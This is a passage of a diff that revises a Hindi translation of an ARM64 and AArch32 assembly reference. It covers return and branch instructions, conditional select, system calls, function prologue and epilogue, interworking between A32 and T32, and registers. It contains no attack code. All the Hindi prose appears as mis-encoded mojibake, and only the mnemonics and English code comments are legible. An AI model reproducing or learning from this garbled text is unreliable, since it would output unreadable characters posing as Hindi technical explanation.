рд╣реИ рдЬрд┐рд╕рдХрд╛ рдкрддрд╛ `x1` рдореЗрдВ рд╣реИ рдФрд░ рд░рд┐рдЯрд░реНрди рдкрддрд╛ `x30` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИред -- **`ret`**: **рдЙрдкрдкреНрд░рдХреНрд░рд┐рдпрд╛** рд╕реЗ **рд▓реМрдЯреЗрдВ**, рдЖрдорддреМрд░ рдкрд░ **`x30`** рдореЗрдВ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред -- рдЙрджрд╛рд╣рд░рдг: `ret` тАФ рдпрд╣ рд╡рд░реНрддрдорд╛рди рдЙрдкрдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд▓реМрдЯрддрд╛ рд╣реИ рдЬреЛ `x30` рдореЗрдВ рд▓реМрдЯрдиреЗ рдХреЗ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +- **`ret`**: **рдЙрдкрд░реВрдЯреАрди** рд╕реЗ **рд▓реМрдЯреЗрдВ**, рдЖрдорддреМрд░ рдкрд░ **`x30`** рдореЗрдВ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред +- рдЙрджрд╛рд╣рд░рдг: `ret` тАФ рдпрд╣ рд╡рд░реНрддрдорд╛рди рдЙрдкрд░реВрдЯреАрди рд╕реЗ рд▓реМрдЯрддрд╛ рд╣реИ рдЬреЛ `x30` рдореЗрдВ рд▓реМрдЯрдиреЗ рдХреЗ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред - **`b.`**: рд╢рд░реНрддреАрдп рд╢рд╛рдЦрд╛рдПрдБред - **`b.eq`**: **рдмрд░рд╛рдмрд░ рд╣реЛрдиреЗ рдкрд░ рд╢рд╛рдЦрд╛**, рдкрд┐рдЫрд▓реЗ `cmp` рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред - рдЙрджрд╛рд╣рд░рдг: `b.eq label` тАФ рдпрджрд┐ рдкрд┐рдЫрд▓реЗ `cmp` рдирд┐рд░реНрджреЗрд╢ рдиреЗ рджреЛ рд╕рдорд╛рди рдорд╛рди рдкрд╛рдП, рддреЛ рдпрд╣ `label` рдкрд░ рдХреВрджрддрд╛ рд╣реИред @@ -198,7 +198,7 @@ ARM64 рдирд┐рд░реНрджреЗрд╢ рдЖрдорддреМрд░ рдкрд░ **рдлреЙрд░реНрдореЗрдЯ `opco - рдЙрджрд╛рд╣рд░рдг: `tbnz x0, #8, label` - **`tbz`**: рдмрд┐рдЯ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдФрд░ рд╢реВрдиреНрдп рдкрд░ рд╢рд╛рдЦрд╛ рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `tbz x0, #8, label` -- **рд╢рд░реНрддреАрдп рдЪрдпрди рдСрдкрд░реЗрд╢рди**: рдпреЗ рдСрдкрд░реЗрд╢рди рд╣реИрдВ рдЬрд┐рдирдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рд╢рд░реНрддреАрдп рдмрд┐рдЯреНрд╕ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИред +- **рд╢рд░реНрддреАрдп рдЪрдпрди рд╕рдВрдЪрд╛рд▓рди**: рдпреЗ рд╕рдВрдЪрд╛рд▓рди рд╣реИрдВ рдЬрд┐рдирдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рд╢рд░реНрддреАрдп рдмрд┐рдЯреНрд╕ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИред - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> рдпрджрд┐ рд╕рддреНрдп рд╣реИ, рддреЛ X0 = X1, рдпрджрд┐ рдЧрд▓рдд рд╣реИ, рддреЛ X0 = X2 - `csinc Xd, Xn, Xm, cond` -> рдпрджрд┐ рд╕рддреНрдп рд╣реИ, рддреЛ Xd = Xn, рдпрджрд┐ рдЧрд▓рдд рд╣реИ, рддреЛ Xd = Xm + 1 - `cinc Xd, Xn, cond` -> рдпрджрд┐ рд╕рддреНрдп рд╣реИ, рддреЛ Xd = Xn + 1, рдпрджрд┐ рдЧрд▓рдд рд╣реИ, рддреЛ Xd = Xn @@ -212,7 +212,7 @@ ARM64 рдирд┐рд░реНрджреЗрд╢ рдЖрдорддреМрд░ рдкрд░ **рдлреЙрд░реНрдореЗрдЯ `opco - рдЙрджрд╛рд╣рд░рдг: `adrp x0, symbol` тАФ рдпрд╣ `symbol` рдХрд╛ рдкреГрд╖реНрда рдкрддрд╛ рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ `x0` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред - **`ldrsw`**: **рдореЗрдореЛрд░реА** рд╕реЗ рдПрдХ рд╕рд╛рдЗрди **32-рдмрд┐рдЯ** рдорд╛рди рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ **64** рдмрд┐рдЯреНрд╕ рдореЗрдВ **рд╕рд╛рдЗрди-рдПрдХреНрд╕рдЯреЗрдВрдб** рдХрд░реЗрдВред - рдЙрджрд╛рд╣рд░рдг: `ldrsw x0, [x1]` тАФ рдпрд╣ `x1` рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рд╕реЗ рдПрдХ рд╕рд╛рдЗрди 32-рдмрд┐рдЯ рдорд╛рди рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рдЗрд╕реЗ 64 рдмрд┐рдЯреНрд╕ рдореЗрдВ рд╕рд╛рдЗрди-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ `x0` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред -- **`stur`**: **рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдорд╛рди рдХреЛ рдПрдХ рдореЗрдореЛрд░реА рд╕реНрдерд╛рди** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВ, рдПрдХ рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗ рдСрдлрд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред +- **`stur`**: **рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдорд╛рди рдХреЛ рдПрдХ рдореЗрдореЛрд░реА рд╕реНрдерд╛рди** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВ, рдЬреЛ рджреВрд╕рд░реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗ рдПрдХ рдСрдлрд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред - рдЙрджрд╛рд╣рд░рдг: `stur x0, [x1, #4]` тАФ рдпрд╣ `x0` рдореЗрдВ рдорд╛рди рдХреЛ рдЙрд╕ рдореЗрдореЛрд░реА рдкрддреЗ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ `x1` рдореЗрдВ рд╡рд░реНрддрдорд╛рди рдкрддреЗ рд╕реЗ 4 рдмрд╛рдЗрдЯ рдЕрдзрд┐рдХ рд╣реИред - **`svc`** : рдПрдХ **рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓** рдХрд░реЗрдВред рдЗрд╕рдХрд╛ рдЕрд░реНрде "рд╕реБрдкрд░рд╡рд╛рдЗрдЬрд╝рд░ рдХреЙрд▓" рд╣реИред рдЬрдм рдкреНрд░реЛрд╕реЗрд╕рд░ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЛрдб рд╕реЗ рдХрд░реНрдиреЗрд▓ рдореЛрдб рдореЗрдВ рд╕реНрд╡рд┐рдЪ рдХрд░рддрд╛ рд╣реИ** рдФрд░ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд╛рди рдкрд░ рдХреВрджрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **рдХрд░реНрдиреЗрд▓ рдХрд╛ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рд╣реИрдВрдбрд▓рд┐рдВрдЧ** рдХреЛрдб рд╕реНрдерд┐рдд рд╣реИред @@ -224,32 +224,32 @@ mov x0, 0 ; рд░рдЬрд┐рд╕реНрдЯрд░ x0 рдореЗрдВ рдирд┐рдХрд╛рд╕реА рд╕реНрдерд┐ svc 0 ; рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд░реЗрдВред ``` -### **рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛** +### **рдлрдВрдХреНрд╢рди рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛** 1. **рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рдХреЛ рд╕реНрдЯреИрдХ рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **рдирдпрд╛ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ**: `mov x29, sp` (рд╡рд░реНрддрдорд╛рди рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдирдпрд╛ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ) -3. **рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ рдкрд░ рд╕реНрдерд╛рди рдЖрд╡рдВрдЯрд┐рдд рдХрд░реЗрдВ** (рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ): `sub sp, sp, ` (рдЬрд╣рд╛рдБ `` рдЖрд╡рд╢реНрдпрдХ рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реИ) +2. **рдирдпрд╛ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ**: `mov x29, sp` (рд╡рд░реНрддрдорд╛рди рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдирдпрд╛ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ) +3. **рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ рдкрд░ рд╕реНрдерд╛рди рдЖрд╡рдВрдЯрд┐рдд рдХрд░реЗрдВ** (рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ): `sub sp, sp, ` (рдЬрд╣рд╛рдБ `` рдЖрд╡рд╢реНрдпрдХ рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реИ) ### **рдлрд╝рдВрдХреНрд╢рди рдПрдкрд┐рд▓реЙрдЧ** -1. **рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЛ рдбрд┐рдЖрд▓реЙрдХреЗрдЯ рдХрд░реЗрдВ (рдпрджрд┐ рдХреЛрдИ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ)**: `add sp, sp, ` +1. **рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЛ рдбрд┐рдЖрд▓реЛрдХреЗрдЯ рдХрд░реЗрдВ (рдпрджрд┐ рдХреЛрдИ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)**: `add sp, sp, ` 2. **рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (рдХреЙрд▓рд░ рдХреЛ рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рд▓реМрдЯрд╛рддрд╛ рд╣реИ) +3. **Return**: `ret` (рдХреЙрд▓рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рдг рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬреЛ рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ) ## AARCH32 рдирд┐рд╖реНрдкрд╛рджрди рд╕реНрдерд┐рддрд┐ Armv8-A 32-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред **AArch32** **`A32`** рдФрд░ **`T32`** рдХреЗ **рджреЛ рдирд┐рд░реНрджреЗрд╢ рд╕реЗрдЯреЛрдВ** рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ рдФрд░ **`interworking`** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдирдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ -**Privileged** 64-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдо 32-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ **рдирд┐рд╖реНрдкрд╛рджрди** рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ 32-рдмрд┐рдЯ рдореЗрдВ рдЕрдкрд╡рд╛рдж рд╕реНрддрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ рд╢реЗрдбреНрдпреВрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ 64-рдмрд┐рдЯ рд╕реЗ 32-рдмрд┐рдЯ рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдЕрдкрд╡рд╛рдж рд╕реНрддрд░ рдХреЗ рдирд┐рдореНрди рд╕реНрддрд░ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, EL1 рдореЗрдВ 64-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдо EL0 рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ)ред рдпрд╣ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм `AArch32` рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдереНрд░реЗрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛрддреА рд╣реИ рдФрд░ **`SPSR_ELx`** рд╡рд┐рд╢реЗрд╖ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ **рдмрд┐рдЯ 4 рдХреЛ 1** рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ `SPSR_ELx` рдХрд╛ рд╢реЗрд╖ рднрд╛рдЧ **`AArch32`** рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХрд╛ CPSR рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ **`ERET`** рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдкреНрд░реЛрд╕реЗрд╕рд░ **`AArch32`** рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдХрд░ рд╕рдХреЗ, A32 рдпрд╛ T32 рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддреЗ рд╣реБрдП CPSR\*\* рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред\*\* +**рд╡рд┐рд╢рд┐рд╖реНрдЯ** 64-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдо 32-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ **рдирд┐рд╖реНрдкрд╛рджрди** рдХреЛ рдирд┐рдореНрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ 32-рдмрд┐рдЯ рдореЗрдВ рдЕрдкрд╡рд╛рдж рд╕реНрддрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ рд╢реЗрдбреНрдпреВрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ 64-рдмрд┐рдЯ рд╕реЗ 32-рдмрд┐рдЯ рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдПрдХ рдирд┐рдореНрди рдЕрдкрд╡рд╛рдж рд╕реНрддрд░ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, EL1 рдореЗрдВ рдПрдХ 64-рдмрд┐рдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдо EL0 рдореЗрдВ рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ)ред рдпрд╣ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм `AArch32` рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдереНрд░реЗрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛрддреА рд╣реИ рдФрд░ **`SPSR_ELx`** рд╡рд┐рд╢реЗрд╖ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ **рдмрд┐рдЯ 4 рдХреЛ 1** рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ `SPSR_ELx` рдХрд╛ рд╢реЗрд╖ рднрд╛рдЧ **`AArch32`** рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХрд╛ CPSR рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ **`ERET`** рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдкреНрд░реЛрд╕реЗрд╕рд░ **`AArch32`** рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░реЗ, рдЬреЛ CPSR рдХреЗ рдЖрдзрд╛рд░ рдкрд░ A32 рдпрд╛ T32 рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИред -**`interworking`** CPSR рдХреЗ J рдФрд░ T рдмрд┐рдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЛрддрд╛ рд╣реИред `J=0` рдФрд░ `T=0` рдХрд╛ рдЕрд░реНрде рд╣реИ **`A32`** рдФрд░ `J=0` рдФрд░ `T=1` рдХрд╛ рдЕрд░реНрде рд╣реИ **T32**ред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рд╕рдмрд╕реЗ рдирд┐рдЪрд▓реЗ рдмрд┐рдЯ рдХреЛ 1 рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ рдирд┐рд░реНрджреЗрд╢ рд╕реЗрдЯ T32 рд╣реИред\ -рдпрд╣ **interworking рд╢рд╛рдЦрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ** рдХреЗ рджреМрд░рд╛рди рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЬрдм PC рдХреЛ рдЧрдВрддрд╡реНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рдЕрдиреНрдп рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рднреА рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг: +**`interworking`** CPSR рдХреЗ J рдФрд░ T рдмрд┐рдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЛрддрд╛ рд╣реИред `J=0` рдФрд░ `T=0` рдХрд╛ рдЕрд░реНрде рд╣реИ **`A32`** рдФрд░ `J=0` рдФрд░ `T=1` рдХрд╛ рдЕрд░реНрде рд╣реИ **T32**ред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рд╕рдмрд╕реЗ рдХрдо рдмрд┐рдЯ рдХреЛ 1 рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ рдирд┐рд░реНрджреЗрд╢ рд╕реЗрдЯ T32 рд╣реИред\ +рдпрд╣ **interworking рд╢рд╛рдЦрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ** рдХреЗ рджреМрд░рд╛рди рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рднреА рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм PC рдХреЛ рдЧрдВрддрд╡реНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг: рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг: ```armasm @@ -262,9 +262,9 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32) mov r0, #0 mov r0, #8 ``` -### рд░рдЬрд┐рд╕реНрдЯрд░ +### Registers -16 32-рдмрд┐рдЯ рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИрдВ (r0-r15)ред **r0 рд╕реЗ r14** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХрд┐рд╕реА рднреА рдСрдкрд░реЗрд╢рди** рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЖрдорддреМрд░ рдкрд░ рдЖрд░рдХреНрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ: +16 32-рдмрд┐рдЯ рд░рдЬрд┐рд╕реНрдЯрд░ (r0-r15) рд╣реИрдВред **r0 рд╕реЗ r14** рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХрд┐рд╕реА рднреА рдСрдкрд░реЗрд╢рди** рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЖрдорддреМрд░ рдкрд░ рдЖрд░рдХреНрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ: - **`r15`**: рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛рдЙрдВрдЯрд░ (рд╣рдореЗрд╢рд╛)ред рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рд░рдЦрддрд╛ рд╣реИред A32 рдореЗрдВ рд╡рд░реНрддрдорд╛рди + 8, T32 рдореЗрдВ, рд╡рд░реНрддрдорд╛рди + 4ред - **`r11`**: рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ @@ -272,8 +272,8 @@ mov r0, #8 - **`r13`**: рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░ - **`r14`**: рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рдЬрд┐рд╕реНрдЯрд░ **`рдмреИрдВрдХреНрдб рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐рдпреЛрдВ`** рдореЗрдВ рдмреИрдХрдЕрдк рд╣реЛрддреЗ рд╣реИрдВред рдпреЗ рдРрд╕реЗ рд╕реНрдерд╛рди рд╣реИрдВ рдЬреЛ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ **рддреЗрдЬрд╝ рд╕рдВрджрд░реНрдн рд╕реНрд╡рд┐рдЪрд┐рдВрдЧ** рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЕрдкрд╡рд╛рдж рдкреНрд░рдмрдВрдзрди рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдСрдкрд░реЗрд╢рдиреЛрдВ рдореЗрдВ, рд╣рд░ рдмрд╛рд░ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕рд╣реЗрдЬрдиреЗ рдФрд░ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдПред\ -рдпрд╣ **`CPSR`** рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕рд░ рдореЛрдб рдХреЗ **`SPSR`** рдореЗрдВ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕рд╣реЗрдЬрдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕ рдкрд░ рдЕрдкрд╡рд╛рдж рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдкрд╡рд╛рдж рд▓реМрдЯрдиреЗ рдкрд░, **`CPSR`** рдХреЛ **`SPSR`** рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рдЬрд┐рд╕реНрдЯрд░ **`рдмреИрдВрдХреНрдб 